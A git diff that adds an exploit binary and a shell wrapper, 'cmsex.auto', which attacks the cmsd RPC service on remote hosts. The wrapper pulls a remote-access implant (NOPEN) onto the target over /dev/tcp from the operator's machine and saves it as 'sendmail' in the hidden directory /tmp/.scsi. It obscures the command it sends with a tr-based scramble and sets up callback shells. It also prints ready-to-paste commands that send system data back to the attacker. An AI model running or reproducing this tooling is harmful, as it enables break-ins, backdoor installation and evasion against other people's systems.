a/Linux/bin/cmsex b/Linux/bin/cmsex new file mode 100755 index 0000000..d3b094f Binary files /dev/null and b/Linux/bin/cmsex differ diff --git a/Linux/bin/cmsex.auto b/Linux/bin/cmsex.auto new file mode 100755 index 0000000..df84d59 --- /dev/null +++ b/Linux/bin/cmsex.auto @@ -0,0 +1,725 @@ +#!/bin/sh +# Defaults +PROG=`basename ${0}` +VER="2.1.0.3" +ERRSLEEP=0 +AUTOMODE="$TARGETIP" +[ "$TUNNELPORT" ] || TUNNELPORT=`cat /current/bin/.tunnelport 2>/dev/null` +[ "$TUNNELPORT" ] || TUNNELPORT=18787 +COLOR_SUCCESS="\\033[1;32m" +COLOR_FAILURE="\\033[1;31m" +COLOR_WARNING="\\033[1;33m" +COLOR_NORMAL="\\033[0;39m" +COLOR_NOTE="\\033[0;34m" +COLOR_WHITE="\\033[4;97m" +SETCOLOR_SUCCESS="echo -en $COLOR_SUCCESS" +SETCOLOR_FAILURE="echo -en $COLOR_FAILURE" +SETCOLOR_WARNING="echo -en $COLOR_WARNING" +SETCOLOR_NORMAL="echo -en $COLOR_NORMAL" +SETCOLOR_NOTE="echo -en $COLOR_NOTE" +SETCOLOR_WHITE="echo -en $COLOR_WHITE" +# usagetext here so this can be used globally +DEFCALLBACKDELAY=15 +SYNTAX="[E=ratpreargs] [A=ratpostargs] $PROG [options] +" +CMSEXTYPES=`/current/bin/cmsex 2>/dev/null | grep -v "not implemented" | egrep "^[0-9]+:" | sed "s/^/ /g"` +[ "$CMSEXTYPES" ] && CMSEXTYPES=" Valid -T values:\n$CMSEXTYPES" +usagetextshort=" +Usage: $SYNTAX +$PROG uploads and runs NOPEN via ./cmsex and is compatible with +NOPEN's builtin -sploit command. + +REQUIRED OPTIONS - Usual upload/execute mode + +-i IP Target IP (or 127.0.0.1 if redirecting) +-u|t # Target's udp/tcp cmsd port (prog 100068); 0 queries portmapper. + +If only a udp port is registered by 100068 and the script fails against +that port, tickling that port will 'wake up' a tcp port on the same service +to try, as well. (i.e., with \"rpcinfo -u -n UDPPORT TARGET_IP 100068\") + +TROUBLESHOOT OPTION + +-R Run specific commands on target, not the usual (you are + prompted for the command string to send). OTHER OPTIONS below + are ignored when using -R. + +OTHER OPTIONS - [default in brackets if any] + +-T # Target code to send ./cmsex.$CMSEXTYPES +-n # Local tcp port for netcat upload [random] +-l IP Local IP for netcat upload [the first active IP in this order: + ppp0, ppp1, eth0 or eth1] +-r name Name to call uploaded file on target [sendmail] +-D dir Working directory to create/use on target [/tmp/.scsi] +-p # NOPEN port for either listen or callback mode [random] +-c Use NOPEN in callback mode to local IP (also see -S) +-C IP Use NOPEN in callback mode to this IP instead of local IP +-s # Change delay used for -c|C to # seconds [$DEFCALLBACKDELAY] +-z Do NOT use uncomrpess at the far end (so DO NOT compress here) +-P Assume PATH=. will fail so use ./ratname +-M Disable remote command munging via tr. +-G Retry exploit--using already uploaded RAT (useful when you need + to try adding -P option or try another RAT callback port). +" +usagetext="$usagetextshort +In the usual upload/execute mode, unless the -T option is used, $PROG +uses the remote system's tr program (see \"man tr\") to unmunge the +string sent via cmsex into the commands we want him to execute. See dtail +below. $PROG will build and show the munged and unmunged strings, +prompting to abort or continue before any packets are sent. + +$PROG uses ./cmsex to send a sequence of commands to target that +uploads and executes a RAT (NOPEN). + +NOTE: The environment variables E and A, if defined, will be put on command +line before the rat (put environment vars here) and after the rat (put fake +args here or other commands to execute), respectively. If you use \$E or \$A, +they will not necessarily override those set/used by the rat server. + + NOTE: they are not necessary for NOPEN ports/callbacks set with above + options. E.g., you could use A=\"; rm sendmail\" if you want. + +" +note() { + unset N + if [ "$1" = "-n" ] ; then + N=$1 + shift + fi + echo -e $N "$COLOR_NOTE${*}$COLOR_NORMAL" +} +notered() { + unset N + if [ "$1" = "-n" ] ; then + N=$1 + shift + fi + echo -e $N "$COLOR_FAILURE${*}$COLOR_NORMAL" +} +tunnelcmd() { + echo "${*}" | nc -w1 -u 127.0.0.1 $TUNNELPORT +} +usage() { + + [ "$1" = "exit" ] && EXIT=1 && shift + if [ "$1" = "-h" ] ; then + shift + [ "$ERRSTR" ] || ERRSTR="\nNOTE: \a THE DEFAULT REQUIRES NO UU*CODE NOR ANY E=\"ratpreargs\"!!!!" + echo -e "$usagetext" + echo "Usage: $SYNTAX" + echo "$PROG version $VER" + fi + if [ "$1" = "-v" ] ; then + echo "$PROG version $VER" + shift + fi + ERRSTR="${*}" + if [ "$ERRSTR" ] ; then + notered "\a${ERRSTR}" + fi + [ "$EXIT" ] && exit +} # end usage + +doit() { + CMDLINE="\nCommandLine: ${0} ${*}" + CALLBACKDELAY=$DEFCALLBACKDELAY + # lab testing? + ifconfig 2>&1 | grep "555.1\.2\." > /dev/null && CALLBACKDELAY=4 + unset NOPENPORT CALLBACKIP CALLBACK OLDCMD USE_TR NOZIP PACKARGS DOTSLASH CMDOVERRIDE SCRIPT + unset UNCOMPRESS REDIRECT UUARG FOUNDNOCLIENTLISTENER + RETRYONLY=0 + USE_TR=yes + [ "${*}" ] || usage exit -h + while getopts p:cl:ths:zPvu:s:Ri:n:r:D:P:a:S:C:MT:G op; do + case $op in + h) usage exit -h ;; + v) usage exit -v ;; + i) REMOTE_IP="${OPTARG}" ;; + n) LOCAL_PORT="$OPTARG" ;; + l) LOCAL_IP="$OPTARG";; + r) REMOTE_FNAME="$OPTARG" ;; + D) REMOTE_DIR="$OPTARG" ;; + p) NOPENPORT="$OPTARG";; + a) [ "$ARCH" ] || ARCH="$OPTARG";; + u) CMSD_PORT="$OPTARG" + CMSD_PROTO="udp" + CMSD_ARG="-u $OPTARG" ;; + t) CMSD_PORT="$OPTARG" + CMSD_PROTO="tcp" + CMSD_ARG="-t $OPTARG" ;; + M) USE_TR="";; + E) RAT_PREARGS=" $OPTARG";; + A) RAT_POSTARGS=" $OPTARG";; + C) CALLBACKIP="$OPTARG" + CALLBACK=" callback";; + c) CALLBACK=" callback";; + s) CALLBACKDELAY="$OPTARG";; + z) NOZIP=yes + PACKARGS=" -z" ;; + P) DOTSLASH="./";; + R) CMDOVERRIDE=yes ;; + T) CMSD_TARGETCODE="-T $OPTARG";; + S) SCRIPT="$OPTARG" ;; + G) RETRYONLY=1 ;; + esac + done + shift `expr $OPTIND - 1` + [ "$#" -eq 0 -a "$REMOTE_IP" ] || usage exit -h + # fixed defaults here (random ports and such elsewhere) + [ "$SCRIPT" ] || SCRIPT="...." + [ "$REMOTE_FNAME" ] || REMOTE_FNAME=sendmail + [ "$REMOTE_DIR" ] || REMOTE_DIR=/tmp/.scsi + if [ ! "$CMDOVERRIDE" ] ; then + if [ ! "$NOPENPORT" ] ; then + if [ "$RANDOMNOPENPORT" ] ; then + # reuse same random if we have it from last loop + NOPENPORT=$RANDOMNOPENPORT + else + NOPENPORT=`mkrandom -n 2>/dev/null` + TMPTEST=`ps -wef 2>/dev/null | grep "noclient -l" | grep -v grep | head -1 | awk '{print \$10}'` + if [ "$TMPTEST" -a "$CALLBACK" ] ; then + notered "Seeing a \"noclient -l $TMPTEST\", so using $TMPTEST for NOPEN callback port" + FOUNDNOCLIENTLISTENER=1 + NOPENPORT=$TMPTEST + fi + unset TMPTEST + RANDOMNOPENPORT=$NOPENPORT + fi + fi + if [ ! "$NOPENPORT" ] ; then + usage "mkrandom not in path--needed to generate random port for NOPEN\n(use -p # to force a particular port)" + return + fi + fi + + + [ "$E" ] && RAT_PREARGS=" $RAT_PREARGS $E" && echo "RAT_PREARGS=\"$RAT_PREARGS\"" + [ "$A" ] && RAT_POSTARGS=" $RAT_POSTARGS $A" && echo "RAT_POSTARGS=\"$RAT_POSTARGS\"" + echo "" + + # show what we were called with + echo -e "$CMDLINE" + + # Check to make sure tcp LISTEN is there + PORTS=`netstat -an | grep tcp.*LIST | cut -f 2 -d ":" | sort -rn | awk '{print $1}' |egrep -v "6000"` + if [ "$NOPENPORT" ] ; then + TMP=" random" + [ "$FOUNDNOCLIENTLISTENER" ] && TMP=" ${COLOR_FAILURE}FOUND$COLOR_NOTE" + note "Using$TMP NOPEN$CALLBACK port $NOPENPORT" + fi + + note Local ports LISTENing: $PORTS + echo + which packrat >/dev/null 2>&1 + NOPACKRAT=$? + + if [ ! "$CMDOVERRIDE" -a $RETRYONLY == 0 ] ; then + if [ "$AUTOMODE" ] ; then + # autoattack mode so yes we want packrat + PACKRAT_SCRIPME=yes + else + RANDOMORNOT="" + if [ "$LOCAL_PORT" ] ; then + for i in $PORTS -1 ; do + [ "$i" = "$LOCAL_PORT" ] && break + done + if [ $i -lt 0 ] ; then + if [ -e $NOSERVER -a "$NOPACKRAT" = "0" ] ; then + PACKRAT_SCRIPME=yes + else + [ "$NOPACKRAT" = "0" ] || notered "No packrat in your path" + notered "YOU MUST have a local LISTEN port on $LOCAL_PORT, and YOU DO NOT have /current/up/noserver\n\ato start one automatically" + sleep 3 + notered "\a\nProceeding, assuming YOU WILL EITHER ABORT OR START LISTENER before continuing\npast next prompt." + fi + else + notered "\aLocalPort=$LOCAL_PORT provided on command line already LISTENing. Assuming that is the upload." + sleep 2 + fi + else + unset ans MAKENEWPORT + if [ "$RANDOMLOCAL_PORT" ] ; then + $LOCAL_PORT=$RANDOMLOCAL_PORT + else + MAKENEWPORT=1 + fi + while [ "$MAKENEWPORT" ] ; do + LOCAL_PORT=`mkrandom -n 2>/dev/null` + RANDOMORNOT=" a random" + RANDOMLOCAL_PORT=$LOCAL_PORT + [ ! "$LOCAL_PORT" ] && usage "mkrandom not in path--needed to generate random rat upload port" + ALREADYTHERE=`netstat -an | grep tcp.*LIST | grep ":$LOCAL_PORT "` + [ "$ALREADYTHERE" ] || break + done + while [ ! -e $NOSERVER ] ; do + notered Put correct noserver into $NOSERVER and hit return or ^C to abort. + read ans + continue + done + if [ "$NOPACKRAT" = "0" ] ; then + PACKRAT_SCRIPME=yes + else + usage exit "No packrat in your path$COLOR_NORMAL" + fi + fi + note "Using$RANDOMORNOT port ($LOCAL_PORT) for local RAT upload listener (packrat)" + unset RANDOMORNOT + fi + for pid in `pidof nc` ; do + UULISTEN=`ls -al /proc/$pid/fd | grep \.uu` + if [ "$UULISTEN" -a ! "$OLDCMD" ] ; then + usage exit "NOT GOOD: Your netcat LISTEN seems to be sending a .uu file--DO NOT (see usage): + # ls -al /proc/$pid/fd | grep \.uu\n$UULISTEN" + fi + done + fi # if ! $CMDOVERRIDE -a ! "$RETRYONLY" + if [ ! "$LOCAL_IP" ] ; then + if [ ! "`which grepip 2>/dev/null`" ] ; then + notered "\aMust have \"grepip\" in path or provide -l IP on command line" + exit + fi + for INT in ppp0 ppp1 eth0 eth1 ; do + ADDR=`ifconfig $INT 2>/dev/null | grepip | egrep -v "255|127\.0" | head -1` + [ "$ADDR" ] && LOCAL_IP=$ADDR + [ "$LOCAL_IP" ] && break + done + while [ ! "$LOCAL_IP" ] ; do + echo -en "What is your local/redirector IP address? " + [ "$LOCAL_IP" ] && echo -en "[$LOCAL_IP] " + read ans + [ "$ans" -a "${ans:0:1}" != "y" -a "${ans:0:1}" != "Y" ] && \ + LOCAL_IP=$ans + LOCAL_IP=`echo $LOCAL_IP | grepip` + [ "$LOCAL_IP" ] || echo -e "\n\n\a$ans is not a valid IP. Try again.\n\n" + done + INT=" ($INT)" + note "Using $LOCAL_IP$INT for -l local IP argument" + fi + + # Check for required args + [ -z "$REMOTE_IP" ] && usage exit "Error: missing remote IP (-i)" + [ -z "$CMSD_ARG" ] && usage exit "Error: missing cmsdPort (-u/t). Use port 0 to query via rpc." +# DBG: Temporarily take this out allow rpc/111 to figure it out + if [ ! "$CMDOVERRIDE" ] ; then + [ -z "$REMOTE_DIR" ] && usage exit "Error: missing remote directory (-D)" + [ "${REMOTE_DIR:0:1}" = "/" ] || + usage exit "\a\nREMOTEDIR ($REMOTE_DIR) must start with \"/\"." + [ -z "$REMOTE_FNAME" ] && usage exit "Error: missing remote filename (-r)" + [ -z "$LOCAL_IP" ] && usage exit "Error: missing local IP (-l)" + [ -z "$LOCAL_PORT" ] && usage exit "Error: missing local netcat port (-n)" + fi + if [ "${REMOTE_IP:0:3}" = "127" ] ; then + REDIRECT=yes + ifconfig -a | grep $LOCAL_IP > /dev/null && NOTGOOD=yes + if [ "$NOTGOOD" ] ; then + notered "ARE YOU SURE? It looks like you are redirecting (due to remote being $REMOTE_IP), +and yet you want the RAT callback to go to $LOCAL_IP, WHICH\a IS ONE OF YOUR LOCAL IPs???" + sleep 1 + notered -n "\nHit ^C to abort or enter to continue DESPITE THIS PROBLEM!!\a" + read blah + fi + DEFTARGET=`head /current/etc/opscript.txt 2>/dev/null | grepip 2>/dev/null | head -1` + [ ! "$ACTUALTARGET" ] && [ "$AUTOMODE" ] && ACTUALTARGET=$TARGETIP + until [ `echo $ACTUALTARGET | grepip 2>/dev/null` ] ; do + [ "$ACTUALTARGET" ] && echo Bad IP $ACTUALTARGET + echo -en "\nEnter Target IP after redirecting through $LOCAL_IP: " + [ "$DEFTARGET" ] && echo -en "[$DEFTARGET] " + read ACTUALTARGET + [ ! "$ACTUALTARGET" ] && [ "$DEFTARGET" ] && ACTUALTARGET=$DEFTARGET + done + note Redirecting via 127.0.0.1/$LOCAL_IP to $ACTUALTARGET + if [ "$AUTOMODE" ] ; then + # Anything specific to automated usage here + note In AUTO/-sploit mode + fi + fi + + if [ "$PACKRAT_SCRIPME" ] ; then + [ "$OLDCMD" ] || UUARG="-u" + TMPOKPACKRAT=`netstat -an | egrep "^tcp.*(0.0.0.0|127.0.0.1):$LOCAL_PORT .*LISTEN"` + if [ "$TMPOKPACKRAT" ] ; then + TMPPSOK=`ps -efwwwww | grep packrat.*$LOCAL_PORT` + if [ "$TMPPSOK" ] ; then + note "Seems like packrat is already LISTENing on $LOCAL_PORT. Not starting another." + else + notered "SOMETHING is listening on $LOCAL_PORT, but there is no \"packrat.*$LOCAL_PORT\" in ps listing\a" + sleep 2 + notered "Proceeding anyway. Make sure you know what you are doing.\a" + sleep 2 + fi + unset TMPPSOK + else + EXPLOIT_SCRIPME="packrat$PACKARGS $UUARG $REMOTE_FNAME $NOSERVER $LOCAL_PORT" + note "Starting local packrat LISTENer to send noserver via port $LOCAL_PORT" + export EXPLOIT_SCRIPME + echo EXPLOIT_SCRIPME=\"$EXPLOIT_SCRIPME\" scripme -t PACKRAT -F -X \"-bg slategrey -fg white -geometry 131x39-0+0\" + EXPLOIT_SCRIPME="$EXPLOIT_SCRIPME" scripme -t PACKRAT -F -X "-bg slategrey -fg white -geometry 131x39-0+0" + fi + unset TMPOKPACKRAT + fi + if [ "$CALLBACK" -a ! "$CALLBACKIP" ] ; then + CALLBACKIP="$LOCAL_IP" + else + if [ "$CALLBACK" -a ! "$LOCAL_IP" = "$CALLBACKIP" ] ; then + note "-C argument given for callback--overriding -l local IP from command line: $LOCAL_IP" + fi + fi + + if [ "$CALLBACK" ] ; then + RAT_PREARGS=" S=$CALLBACKDELAY D=-uc${CALLBACKIP}:${NOPENPORT}" + if [ "$REDIRECT" ] ; then + if [ "$FOUNDNOCLIENTLISTENER" ] ; then + notered "\aYou SEEM TO already have a NOPEN listener on $NOPENPORT. +CONFIRM THAT IT IS ON $CALLBACKIP!!\n\n" + else + notered "\aYou must establish a NOPEN listener on $CALLBACKIP:$NOPENPORT\n\n" + PASTABLE=`grep -v "^#" /current/down/didthis 2>/dev/null | grep "noclient.*$CALLBACKIP"` + [ "$PASTABLE" ] && PASTABLE="\ncd /current/down\n${PASTABLE}" + ifconfig -a | grep $CALLBACKIP && ITSLOCAL=yes + if [ "$ITSLOCAL" ] ; then + echo "remote nopen window on $CALLBACKIP AND local listener:" + note "\ncd /current/down/\n${PASTABLE}\n/current/bin/noclient -l $NOPENPORT\n\n" + else + echo "remote nopen window on $CALLBACKIP:" + note "${PASTABLE}\n\n-nrtun $NOPENPORT\n\n" +# PASTABLE=`grep -v "^#" /current/down/didthis 2>/dev/null | grep "noclient.*$CALLBACKIP" | sed "s/noclient/noclient -c \"-nrtun $NOPENPORT\"/"` +# EXPLOIT_SCRIPME="${PASTABLE}" scripme -t NOCLIENT -F -X " -geometry 131x39" + + fi + fi + notered -n "Hit ^C to abort or enter once NOPEN callback window is ready" + read blah + else # not redirecting + POSTRUN="noclient -l $NOPENPORT" + fi + else # not callback + RAT_PREARGS=" D=-ul${NOPENPORT}" + if [ "$REDIRECT" ] ; then + POSTRUN2="-nstun $ACTUALTARGET ${NOPENPORT}" + else + POSTRUN2="noclient ${REMOTE_IP}:${NOPENPORT}" + fi + fi + + if [ ! "$CMDOVERRIDE" ] ; then + if [ ! "$NOZIP" ] ; then + UNCOMPRESS="&& uncompress -f ${REMOTE_FNAME}.Z" + [ "$OLDCMD" ] || UNCOMPRESS=".Z&&uncompress -f ${REMOTE_FNAME}.Z" + + fi + # this one has more spaces...don't use unless other fails... + CMD="mkdir -p ${REMOTE_DIR} && cd ${REMOTE_DIR} && /bin/ksh -c \"/bin/cat < /dev/tcp/${LOCAL_IP}/${LOCAL_PORT} > ${REMOTE_FNAME}${UNCOMPRESS} && chmod 755 ${REMOTE_FNAME} && PATH=.${RAT_PREARGS} ${DOTSLASH}${REMOTE_FNAME}${RAT_POSTARGS}\"" + + CMD="mkdir -p ${REMOTE_DIR}&&cd ${REMOTE_DIR}&&/bin/ksh -c \"/bin/cat < /dev/tcp/${LOCAL_IP}/${LOCAL_PORT} > ${REMOTE_FNAME}${UNCOMPRESS}&&chmod 755 ${REMOTE_FNAME}&&PATH=.${RAT_PREARGS} ${DOTSLASH}${REMOTE_FNAME}${RAT_POSTARGS}\"" + + if [ "$OLDCMD" ] ; then + CMD="mkdir -p ${REMOTE_DIR}&&cd ${REMOTE_DIR}&&telnet ${LOCAL_IP} ${LOCAL_PORT}/dev/null 2>&1 ${UNCOMPRESS}&&PATH=.${RAT_PREARGS} ${DOTSLASH}${REMOTE_FNAME}${RAT_POSTARGS}" + fi + else + CMD="" + $SETCOLOR_NOTE + [ ! "$REMOTE_DIR" = "/tmp" ] && TMP=" rm -rf ${REMOTE_DIR} ; ls -arlt /tmp ;" + [ ! "$TMP" ] && TMP=" rm -rf ${REMOTE_DIR}/$REMOTE_FNAME ;" + echo -e "You may want to start something like this locally (YOU do this netcat--it is not automatic), +or you may see no evidence of what you want done:\n" + notered "LOCALLY:" + echo -e " nc -l -p 443" + echo "" + notered "Some pastable examples for the REMOTE end (pick one, or mix and match--up to you):" + echo -e " ksh -c \"( w ; uname -a ) > /dev/tcp/$LOCAL_IP/443\"" + echo -e " ( w ; uname -a ) | telnet $LOCAL_IP 443" + echo -e " ksh -c \"($TMP ls -alrt ${REMOTE_DIR} ) > /dev/tcp/$LOCAL_IP/443\"" + echo -e " ($TMP ls -alrt ${REMOTE_DIR} ) | telnet $LOCAL_IP 443" + echo -e " ($TMP ls -alrt ${REMOTE_DIR} ) | telnet $LOCAL_IP `mkrandom -n 2>/dev/null`" + echo "" + unset TMP + while [ ! "$CMD" ] ; do + notered "Enter Commands to run on target (see above examples), separated by \";\".\n" + read CMD + done + note "\nCommands being run: $CMD\n" + fi # if $CMDOVERRIDE + +# this is unused for now--old cmsex.tn way +OLDOLDCMD="echo \" +PATH=/usr/openwin/bin:/usr/bin:/bin:/sbin:/usr/sbin:/usr/local/bin:/usr/local/gnu/bin:/usr/ucb:/usr/X11R6/bin +export PATH +mkdir -p ${DIR} +cd ${DIR} +(echo 'open ${LOCAL_IP} ${LOCAL_PORT}';/bin/cat)| /bin/telnet | /bin/cat| /usr/bin/uudecode > /dev/null 2>&1 +uncompress -f ${RUN_FILE}.Z +chmod 0700 ${DIR}/${RUN_FILE} +PATH=${DIR} ${RUN_FILE} +rm ${SCRIPT} +\" > ${SCRIPT} +/bin/sh ${SCRIPT} +" + if [ "$USE_TR" ] ; then + # tr sets + #SET1="'0-}'" + #SET2="'1-~'" + ALPHA="ABCDEFGHIJKLMNOPQRSTUVWXYZ./abcdefghijklmnopqrstuvwxyz0123456789 <&" + THERE=`which permute 2>/dev/null` + if [ ! "$THERE" ] ; then + if [ -x "../bin/permute" ] ; then + export PATH=../bin:$PATH + else + usage exit "FATAL ERROR: No \"permute\" in path." + fi + fi + SET1=`permute "$ALPHA"` + SET2=`permute "$SET1"` + MUNGED="`echo "${CMD}" | tr "${SET1}" "${SET2}"`" + UNMUNGED="`echo \"${MUNGED}\" | tr "${SET2}" "${SET1}"`" + echo " +munging via: + tr \"$SET1\" \"$SET2\" +and vice versa. + +MUNGED=\"$MUNGED\" + +UNMUNGED=\"$UNMUNGED\" +" + + if [ "$SET1" = "$SET2" ] ; then + echo "SET1=\"$SET1\"" + usage exit "FATAL ERROR. SET1 is the same as SET2." + fi + if [ ! "$UNMUNGED" = "$CMD" ] ; then + echo "$UNMUNGED" > /tmp/UNMUNGED.$$ + echo "$CMD" > /tmp/CMD.$$ + cmp /tmp/UNMUNGED.$$ /tmp/CMD.$$ + wc /tmp/UNMUNGED.$$ /tmp/CMD.$$ + usage "FATAL ERROR. UNMUNGE TEST FAILED" + else + echo -e "PASSSED TEST: \$CMD eq \$UNMUNGED.\n" + fi + + $SETCOLOR_NOTE + echo -e "Now running this locally:\n +cmsex -i $REMOTE_IP $CMSD_ARG $CMSD_TARGETCODE \ + -c \"echo '${MUNGED}'|tr '${SET2}' '${SET1}'|sh\"\n" + else + notered "\a\nNOT MUNGING--CMD going over in the clear.\n\n" + echo -e "About to run this locally:\n +cmsex -i $REMOTE_IP $CMSD_ARG $CMSD_TARGETCODE \ + -c \"$CMD\"\n" + fi + + if [ "$POSTRUN" ] ; then + echo -e "AND THEN the following will start automatically:\n\n$POSTRUN$COLOR_NORMAL\n" + fi + + notered -n "bort or ontinue? [C] " + read blah + if [ "${blah:0:1}" = 'a' -o "${blah:0:1}" = 'A' ] ; then + notered "ABORTING!" + exit + fi + if [ "$REDIRECT" ] ; then + note "Sending tunnel commands to 127.0.0.1:$TUNNELPORT" + if [ $ATTEMPT -eq 1 ] ; then +# tunnelcmd c 1 2 + tunnelcmd u $CMSD_PORT $ACTUALTARGET + else + tunnelcmd c 2 + fi + tunnelcmd r $LOCAL_PORT + tunnelcmd s + fi +# while [ 1 ] ; do + # Now check what we can before continuing + echo "" + while [ 1 ] ; do + if [ "$CALLBACK" ] ; then + if [ "$REDIRECT" ] ; then + OKNRTUN=`netstat -an | grep "^tcp.*:$NOPENPORT " | egrep "ESTAB|LISTEN"` + else + OKNRTUN=okeydokey + fi + else + OKNRTUN=okeydokey + fi + [ "$REDIRECT" ] || OKCMSD_PORT=okeydokey + [ "$REDIRECT" ] && OKCMSD_PORT=`netstat -an | egrep -i "^${CMSD_PROTO}.*0 (0.0.0.0|127.0.0.1):$CMSD_PORT "` + OKPACKRAT=`netstat -an | egrep "^tcp.*(0.0.0.0|127.0.0.1):$LOCAL_PORT .*LISTEN"` + [ "$CMDOVERRIDE" -o $RETRYONLY == 1 ] && OKPACKRAT=nevermind + [ "$OKCMSD_PORT" ] || notered "No $CMSD_PROTO/$CMSD_PORT seen locally in netstat" + if [ ! "$OKNRTUN" ] ; then + notered "No -nrtun or noclient -l for callback seen locally on port $NOPENPORT in netstat" + note "${PASTABLE}\n\n-nrtun $NOPENPORT\n\n" + fi + if [ ! "$OKPACKRAT" ] ; then + if [ "$OKCMSD_PORT" -a "$OKNRTUN" ] ; then + notered "waiting for packrat to start on port $LOCAL_PORT" + else + notered "No packrat seen locally on port $LOCAL_PORT in netstat" + fi + fi + [ "$OKCMSD_PORT" ] && [ "$OKNRTUN" ] && [ "$OKPACKRAT" ] && break + + [ "$OKCMSD_PORT" ] && [ "$OKNRTUN" ] && sleep 2 && continue + unset OKCMSD_PORT OKNRTUN OKPACKRAT + notered "\a\n\nCANNOT PROCEED" + notered "\a\n\nFix this and either ^C or hit Enter to try again." + read blah + done + if [ "$USE_TR" ] ; then + note "\n\nrunning this locally (using tr remotely):\n\ncmsex -i $REMOTE_IP $CMSD_ARG $CMSD_TARGETCODE \ + -c \"echo '${MUNGED}' | tr '${SET2}' '${SET1}'|sh\"\n\n" + cmsex -i $REMOTE_IP $CMSD_ARG $CMSD_TARGETCODE \ + -c "echo '${MUNGED}' | tr '${SET2}' '${SET1}'|sh" + else + note "\n\nrunning this locally:\n\ncmsex -i $REMOTE_IP $CMSD_ARG $CMSD_TARGETCODE \ + -c \"$CMD\"\n\n" + cmsex -i $REMOTE_IP $CMSD_ARG $CMSD_TARGETCODE \ + -c "$CMD" + fi + +# done + if [ ! "$CMDOVERRIDE" ] ; then + if [ "$POSTRUN" ] ; then + notered "\n\n\aNOTE: Callback will not occur for $CALLBACKDELAY seconds or more" + notered " and MAYBE NOT until upload completes AND you ^C the netcat upload.\n\n" + notered "\nNow running nopen listener with: $POSTRUN\n" + exec $POSTRUN + fi + if [ "$POSTRUN2" ] ; then + note "\nOnce you see all is done, you may want to proceed with:\n\n$POSTRUN2\n\n" + notered NOTE: Listener may not be active until you ^C the netcat upload. + fi + fi +} # end doit procedure + +if [ "$ARCH" ] ; then + NOSERVER=`ls -1 /current/up/morerats/noserver*solaris-2.6 2>/dev/null | grep -i ${ARCH} | tail -1` +fi +[ "$NOSERVER" ] || NOSERVER=/current/up/noserver + +[ "${*}" ] || usage exit -h +[ "${*}" = "-h" ] && usage exit -h +[ "${*}" = "-v" ] && usage exit -v +ATTEMPT=1 +while [ 1 ] ; do + # This is called by autoattack so allow changes + ALLOWCHANGE="$AUTOMODE$NEEDT" + [ $ATTEMPT -gt 1 ] && ALLOWCHANGE=yes + if [ "$ALLOWCHANGE" -a "$ARGS${*}" ] ; then + if [ "$ARGS" ] ; then + notered "Last attempt used these arguments:\n$COLOR_NORMAL\n${ARGS}\n" + OPTIND=1 + else + # show short usage here + echo -e "$usagetextshort" + notered "Automatic mode has pre-set these arguments:\n$COLOR_NORMAL\n${*}\n" + ARGS="${*}" + fi + + TMPTARGETIP="TARGETIP" + [ "$TARGETIP" ] && TMPTARGETIP=$TARGETIP + note "\n\nIf unsure of what target (-T#) to use, these -scans might be helpful:\n + -scan snmp1 $TMPTARGETIP one + -scan snmp2 $TMPTARGETIP one + -scan telnet $TMPTARGETIP one\n" + + notered "\n\nJust hit return to keep these arguments, or input a new and complete argument\nstring to use instead:\n" + read ans + if [ "$ans" ] ; then + ARGS="$ans" + note Changing arguments to: $ARGS + else + note NOT changing arguments + fi + TMPTEST=`echo "$ARGS" | grep -- "-T"` + if [ ! "$TMPTEST" ] ; then + if [ "$CMSEXTYPES" ] ; then + notered "$CMSEXTYPES\a" + fi + notered "\n\nYou must still provide the required \"-T #\" argument (see chart above from cmsex usage)." + NEEDT=yes + continue + else + NEEDT= + fi + else + ARGS="${*}" + TMPTEST=`echo "$ARGS" | grep -- "-T"` + if [ ! "$TMPTEST" ] ; then + if [ "$CMSEXTYPES" ] ; then + notered "$CMSEXTYPES\a" + fi + notered "\n\nYou must still provide the required \"-T #\" argument." + NEEDT=yes + continue + else + NEEDT= + fi + fi + unset TMPTEST + + doit $ARGS + note "\n\n$PROG attempt number $ATTEMPT is complete." + if [ ! "$CMDOVERRIDE" ] ; then + if [ "$CALLBACK" ] ; then + notered "\nNOTE: Callback will not happen until $CALLBACKDELAY seconds or more have passed.\n" + while [ $CALLBACKDELAY -ge 0 ] ; do + notered -n "\rCounting down: $CALLBACKDELAY " + CALLBACKDELAY=`expr $CALLBACKDELAY - 1` + sleep 1 + done + fi + fi + [ "$REDIRECT" ] && notered "\n\nIf this is your last sploit, you can close down the -tunnel +currently listening on $TUNNELPORT with this at any local prompt: +$COLOR_NORMAL + /current/bin/closetunnel\n\n" + note "\nIf it worked, hit return to exit.\n" + notered -n "Do you want to try again? [N] " + read ans + [ ! "$ans" -o "${ans:0:1}" = "n" -o "${ans:0:1}" = "N" ] && break + # echo -e "$usagetext" + +# notered "\nIf \"ksh\" method might have failed, add the -t argument to try the old telnet way." + notered "If \"tr\" method might have failed, add the -M argument to disable munging." +# notered "If still failing after trying -t, -T and -tT, try cmsex.tn.gr_USE_WHEN_cmsex.auto_FAILS." + ATTEMPT=`expr $ATTEMPT + 1` +done +# disabled this for now 20030603 +#if [ "$REDIRECT" ] ; then +# note "Closing down -tunnel ports" +# tunnelcmd c 1 2 +# tunnelcmd q +#fi +if [ "$POSTRUN2" ] ; then + note "\nOnce you see all is done, you may want to proceed with:\n\n$POSTRUN2\n\n" + notered NOTE: Listener may not be active until you ^C the netcat upload. +fi + +if [ "$AUTOMODE" ] ; then + ps -efwwww | grep PACKRAT | grep -v grep && \ + notered "\n\nYou need to close packrat window before this one can exit.\n\n" +fi + +GARBAGE=" +-T Do NOT use tr at all (can be used with or without -t) + +In the usual upload/execute mode, unless the -T option is used, $PROG +uses the remote system's tr program (see \"man tr\") to unmunge the +string sent via cmsex into the commands we want him to execute. See dtail +below. $PROG will build and show the munged and unmunged strings, +prompting to abort or continue before any packets are sent. + + + Command sent to cmsex will be munged (unless -T is used) from one of: + +OLDCMD=\"cd /tmp;mkdir -p \${REMOTE_DIR} && cd \${REMOTE_DIR};telnet \${LOCAL_IP} \${LOCAL_PORT} < /dev/console | uudecode > /dev/null 2>&1 && uncompress -f \${REMOTE_FNAME}.Z && chmod 755 \${REMOTE_FNAME} && PATH=.\${RAT_PREARGS} \${DOTSLASH}\${REMOTE_FNAME}\${RAT_POSTARGS}\" + +CMD=\"cd /tmp;mkdir -p \${REMOTE_DIR} && cd \${REMOTE_DIR};/bin/ksh -c \"cat < /dev/tcp/\${LOCAL_IP}/\${LOCAL_PORT} > \${REMOTE_FNAME}.Z && uncompress -f \${REMOTE_FNAME}.Z && chmod 755 \${REMOTE_FNAME} && PATH=.\${RAT_PREARGS} \${DOTSLASH}\${REMOTE_FNAME}\${RAT_POSTARGS}\"\" + +OR if -T is used, 